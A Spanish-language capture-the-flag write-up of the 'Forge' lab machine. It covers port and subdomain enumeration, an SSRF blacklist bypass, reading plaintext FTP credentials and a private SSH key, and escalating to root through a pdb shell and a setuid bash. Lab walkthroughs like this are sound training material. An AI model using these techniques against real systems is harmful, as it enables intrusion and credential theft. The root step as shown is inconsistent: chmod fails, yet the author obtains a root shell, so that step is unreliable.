Saludos pentesters, en esta ocasión os traigo una máquina Linux de dificultad media, de estilo CTF con cierta importancia en el proceso de enumeración. ¡Vamos al lío!

Fecha de Resolución

En primer lugar y como en cualquier máquina, necesitamos información sobre la misma así que vamos a hacer un reconocimiento para identificar los posibles vectores de entrada.

Fase de Reconocimiento

Asignamos un virtualhost a la máquina en nuestro archivo /etc/hosts por motivos de comodidad.

p3ntest1ng:~$ echo '10.10.11.111 forge.htb' | sudo tee -a /etc/hosts

Y ahora sí, podemos empezar con el reconocimiento de puertos con un TCP SYN Port Scan

Parámetro Descripción
-p- Escanea el rango completo de puertos (hasta el 65535)
-sS Realiza un escaneo de tipo SYN port scan
–min-rate Enviar paquetes no más lentos que 5000 por segundo
–open Mostrar sólo los puertos que esten abiertos
-vvv Triple verbose para ver en consola los resultados
-n No efectuar resolución DNS
-Pn No efectuar descubrimiento de hosts
-oG Guarda el output en un archivo con formato grepeable para usar la función extractPorts de S4vitar
p3ntest1ng:~$ sudo nmap -p- -sS --min-rate 5000 --open -vvv -n -Pn 10.10.11.111 -oG allPorts

Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 19:37 CET
Initiating SYN Stealth Scan at 19:37
Scanning 10.10.11.111 [65535 ports]
Discovered open port 22/tcp on 10.10.11.111
Discovered open port 80/tcp on 10.10.11.111
Completed SYN Stealth Scan at 19:37, 13.31s elapsed (65535 total ports)
Nmap scan report for 10.10.11.111
Host is up, received user-set (0.084s latency).
Scanned at 2022-01-20 19:37:35 CET for 14s
Not shown: 65394 closed tcp ports (reset), 139 filtered tcp ports (no-response)
Some closed ports may be reported as filtered due to --defeat-rst-ratelimit
PORT   STATE SERVICE REASON
22/tcp open  ssh     syn-ack ttl 63
80/tcp open  http    syn-ack ttl 63

Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 14.03 seconds
           Raw packets sent: 67667 (2.977MB) | Rcvd: 66088 (2.644MB)

Identificamos dos puertos abiertos:

Puerto Descripción
22 SSH - SSH o Secure Shell
80 HTTP - Servidor web

Vamos a obtener más información con un escaneo específico sobre los puertos que hemos encontrado.

Parámetro Descripción
-p Escanea sobre los puertos especificados
-sC Muestra todos los scripts relacionados con el servicio
-sV Determina la versión del servicio
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap -sC -sV -p 22,80 10.10.11.111 -oN targeted

Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 20:08 CET
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.046s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 4f:78:65:66:29:e4:87:6b:3c:cc:b4:3a:d2:57:20:ac (RSA)
|   256 79:df:3a:f1:fe:87:4a:57:b0:fd:4e:d0:54:c6:28:d9 (ECDSA)
|_  256 b0:58:11:40:6d:8c:bd:c5:72:aa:83:08:c5:51:fb:33 (ED25519)
80/tcp open  http    Apache httpd 2.4.41
|_http-title: Gallery
|_http-server-header: Apache/2.4.41 (Ubuntu)
Service Info: Host: 10.10.11.111; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.40 seconds

De momento no hay gran cosa, tenemos las versiones de estos servicios y poco más. Analicemos el puerto 80 con un script de reconocimiento HTTP básico de nmap.

Parámetro Descripción
–script Ejecución de scripts escritos en LUA. Usamos http-enum
-p Escanea sobre el puerto especificado
-oN Guarda el output en un archivo con formato normal
p3ntest1ng:~$ nmap --script http-enum -p 80 10.10.11.111 -oN webScan

Starting Nmap 7.92 ( https://nmap.org ) at 2022-01-20 20:17 CET
Nmap scan report for forge.htb (10.10.11.111)
Host is up (0.047s latency).

PORT   STATE SERVICE
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 6.10 seconds

Nada interesante, podemos borrar el archivo generado webScan. Probemos con wfuzz a ver qué encontramos, primero con un diccionario pequeño y si no encuentro nada, usaré uno más grande.

Parámetro Descripción
-c Muestra el output en formato colorizado
-w Utiliza el diccionario especificado
–hc=404 Oculta todos los códigos de estado 404
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/dirb/common.txt --hc 404 http://forge.htb/FUZZ 2>/dev/null

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://forge.htb/FUZZ
Total requests: 4614

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000001:   200        71 L     92 W       2050 Ch     "http://forge.htb/"                                                                                                         
000003588:   403        9 L      28 W       274 Ch      "server-status"                                                                                                             
000003841:   301        9 L      28 W       307 Ch      "static"                                                                                                                    
000004207:   200        32 L     58 W       929 Ch      "upload"                                                                                                                    
000004216:   301        3 L      24 W       224 Ch      "uploads"                                                                                                                   

Total time: 0
Processed Requests: 4614
Filtered Requests: 4609
Requests/sec.: 0

Vemos que existe un recurso upload, pero antes de continuar por ahí, vamos a comprobar si existen subdominios, de nuevo tiramos de wfuzz

Parámetro Descripción
-c Mostrar el output en formato colorizado
-w Utiliza el diccionario especificado
–sc=200 Muestra sólo los códigos de estado 200
-H Realiza una consulta de tipo header
-u Especifica la URL para la consulta
-t Nos permite lanzar el comando con N threads
p3ntest1ng:~$ wfuzz -c -w /usr/share/wordlists/SecLists/Discovery/DNS/subdomains-top1million-110000.txt --sc 200 -H "Host: FUZZ.forge.htb" -u http://forge.htb/ -t 50 2>/dev/null

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://forge.htb/
Total requests: 114441

=====================================================================
ID           Response   Lines    Word       Chars       Payload                                                                                                                     
=====================================================================

000000024:   200        1 L      4 W        27 Ch       "admin"                                                                                                                     

Total time: 331.5162
Processed Requests: 114441
Filtered Requests: 114440
Requests/sec.: 345.2047

Tenemos el subdominio http://admin.forge.htb/ pero no tenemos acceso desde el exterior:

Subdomain

Fase de Explotación

Volvamos sobre el recurso upload abriendo el navegador para ver qué podemos subir al servidor.

Upload

Tenemos dos posibles métodos para subir archivos, alojado en nuestra máquina o mediante una URL. Probemos a subir un archivo cualquiera para ver si tenemos alguna limitación de formato, tamaño, etc. En este caso estoy subiendo un archivo de 2 MB y formato .deb (podía haber elegido otro pero era lo que tenía a mano).

Upload

En principio no tenemos limitaciones en cuanto a formato (aunque arriba a la derecha indique que subamos una imagen), una vez subido nuestro archivo nos genera un enlace aleatorio. Sin embargo, y dado que podemos subir archivos por URL, se me ocurre tratar de subir la URL del subdominio anterior, al cual no tenemos acceso desde el exterior. De este modo estaremos aprovechando una vulnerabilidad llamada Server Side Request Forgery (SSRF)

Blacklisted

Como vemos en la captura, no se nos permite subir la url debido a que es considerada prohibida al estar incluida en una lista negra. Tal vez no le gusta alguna palabra del enlace. Tratemos de bypassear este filtro poniendo la dirección completamente en mayúsculas: http://ADMIN.FORGE.HTB

Uploaded

Al tratar de abrir el enlace generado nos indica que no es posible mostrar la imagen porque contiene errores (lógico porque no estamos subiendo imagenes). Con curl podemos leer el contenido en formato raw de la petición HTTP.

p3ntest1ng:~$ curl http://forge.htb/uploads/iRHCfWLnsRWwTsUsCla0
<!DOCTYPE html>
<html>
<head>
    <title>Admin Portal</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br><br>
    <br><br><br><br>
    <center><h1>Welcome Admins!</h1></center>
</body>
</html>

En este pequeño código en html, descubrimos que existe un recurso Announcements apuntando al directorio /announcements Tratemos de subir este recurso mediante URL, y una vez obtengamos el enlace que nos genera, volvemos a ejecutar curl.

p3ntest1ng:~$ curl http://forge.htb/uploads/ID2lXNU92oVNZ2HcMntO
<!DOCTYPE html>
<html>
<head>
    <title>Announcements</title>
</head>
<body>
    <link rel="stylesheet" type="text/css" href="/static/css/main.css">
    <link rel="stylesheet" type="text/css" href="/static/css/announcements.css">
    <header>
            <nav>
                <h1 class=""><a href="/">Portal home</a></h1>
                <h1 class="align-right margin-right"><a href="/announcements">Announcements</a></h1>
                <h1 class="align-right"><a href="/upload">Upload image</a></h1>
            </nav>
    </header>
    <br><br><br>
    <ul>
        <li>An internal ftp server has been setup with credentials as user:heightofsecurity123!</li>
        <li>The /upload endpoint now supports ftp, ftps, http and https protocols for uploading from url.</li>
        <li>The /upload endpoint has been configured for easy scripting of uploads, and for uploading an image, one can simply pass a url with ?u=&lt;url&gt;.</li>
    </ul>
</body>
</html>

Vemos que han dejado escritas en texto plano las credenciales para conectarse a un servidor FTP interno y que ahora el endpoit admite protocolos ftp, ftps, http y https para subidas por URL.

An internal ftp server has been setup with credentials as user:heightofsecurity123!

Con lo que sabemos, ahora podemos construir el siguiente enlace, subirlo por URL y repetir el proceso con curl para ver el resultado:

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/

p3ntest1ng:~$ curl http://forge.htb/uploads/peOV0M5vZoVgXKmRIBmT

drwxr-xr-x    3 1000     1000         4096 Aug 04 19:23 snap
-rw-r-----    1 0        1000           33 Jan 20 18:05 user.txt

Conseguimos ver los archivos alojados en el servidor FTP asi que añadimos el archivo user.txt a la URL creada anteriormente, volvemos a subirla y repetimos el mismo proceso con curl para leer la flag del usuario.

p3ntest1ng:~$ curl http://forge.htb/uploads/AYwkasyzqI77J0JELp8z
5ce2a56c599986911928f8861266648a

En vista de que podemos leer archivos del sistema con este método, vamos a intentar leer el archivo id_rsa Construimos la URL de la consulta, la subimos con el upload y hacemos curl al enlace generado:

http://ADMIN.FORGE.HTB/upload?u=ftp://user:heightofsecurity123!@127.0.1.1/.ssh/id_rsa

Una vez tengamos la información del archivo, lo creamos en nuestra máquina, le damos permisos con chmod 600 forgekey y ya podemos conectarnos por SSH.

p3ntest1ng:~$ ssh -i forgekey user@forge.htb
-bash-5.0$ ls
snap  user.txt
-bash-5.0$ cat user.txt 
5ce2a56c599986911928f8861266648a
-bash-5.0$ 

Escalada de Privilegios

Lo primero que yo siempre compruebo son los permisos a nivel de sudo con sudo -l

-bash-5.0$ sudo -l
Matching Defaults entries for user on forge:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User user may run the following commands on forge:
    (ALL : ALL) NOPASSWD: /usr/bin/python3 /opt/remote-manage.py 

En este caso tenemos suerte y encontramos que tenemos permisos de ejecución como root sobre un script escrito en Python. Analicemos el código.

-bash-5.0$ cat /opt/remote-manage.py
#!/usr/bin/env python3
import socket
import random
import subprocess
import pdb

port = random.randint(1025, 65535)

try:
    sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
    sock.bind(('127.0.0.1', port))
    sock.listen(1)
    print(f'Listening on localhost:{port}')
    (clientsock, addr) = sock.accept()
    clientsock.send(b'Enter the secret passsword: ')
    if clientsock.recv(1024).strip().decode() != 'secretadminpassword':
        clientsock.send(b'Wrong password!\n')
    else:
        clientsock.send(b'Welcome admin!\n')
        while True:
            clientsock.send(b'\nWhat do you wanna do: \n')
            clientsock.send(b'[1] View processes\n')
            clientsock.send(b'[2] View free memory\n')
            clientsock.send(b'[3] View listening sockets\n')
            clientsock.send(b'[4] Quit\n')
            option = int(clientsock.recv(1024).strip())
            if option == 1:
                clientsock.send(subprocess.getoutput('ps aux').encode())
            elif option == 2:
                clientsock.send(subprocess.getoutput('df').encode())
            elif option == 3:
                clientsock.send(subprocess.getoutput('ss -lnt').encode())
            elif option == 4:
                clientsock.send(b'Bye\n')
                break
except Exception as e:
    print(e)
    pdb.post_mortem(e.__traceback__)
finally:
    quit()

Interesante, nos encontramos ante un cliente-servidor con la contraseña del admin escrita en texto plano. Este script permite la ejecución de comandos a nivel de sistema haciendo uso del módulo subprocess de Python. Además, si por alguna razón se produce una excepción en la ejecución, nos dará una shell de pdb (Python Debugger). Vamos a ejecutarlo.

-bash-5.0$ python3 /opt/remote-manage.py
Listening on localhost:36393

Desde otra terminal conectada por SSH a la máquina Forge nos conectamos con netcat al puerto que se nos ha abierto, ya que sólo permite conexiones desde localhost:

-bash-5.0$ nc localhost 36393
Enter the secret passsword: secretadminpassword
Welcome admin!

What do you wanna do: 
[1] View processes
[2] View free memory
[3] View listening sockets
[4] Quit

Necesitamos escapar de este menú, algo que es bastante fácil si hemos entendido el código anterior. Fijaos en esta línea:

option = int(clientsock.recv(1024).strip())

Está convirtiendo a un número entero el valor que se introduce en el script como opción (el menú), pero no está verificando que el input sea explícitamente un número, por lo tanto basta con introducir cualquier otro carácter para romper la ejecución normal del script:

-bash-5.0$ python3 /opt/remote-manage.py
Listening on localhost:36393
invalid literal for int() with base 10: b'a'
> /opt/remote-manage.py(27)<module>()
-> option = int(clientsock.recv(1024).strip())
(Pdb) 

En este punto podemos importar el módulo os de Python, ejecutar la siguiente orden de sistema para cambiar los permisos de bash y ganar acceso como root:

(Pdb) import os
(Pdb) os.system ('chmod u+s /bin/bash')
chmod: changing permissions of '/bin/bash': Operation not permitted
256
(Pdb) exit
-bash-5.0$ /bin/bash -p
bash-5.0# whoami
root
bash-5.0# cd /root
bash-5.0# cat root.txt
00173db93bb35dca36d6e6c2cdaa7b39

¡Gracias por leer hasta el final!

Una máquina entretenida de realizar, a pesar de ser dificultad media me ha resultado bastante fácil todo el proceso de intrusión y la escalada de privilegios fue de risa. Útil para reforzar conocimientos ya adquiridos previamente.

Nos vemos en un próximo. ¡Feliz hacking! ☠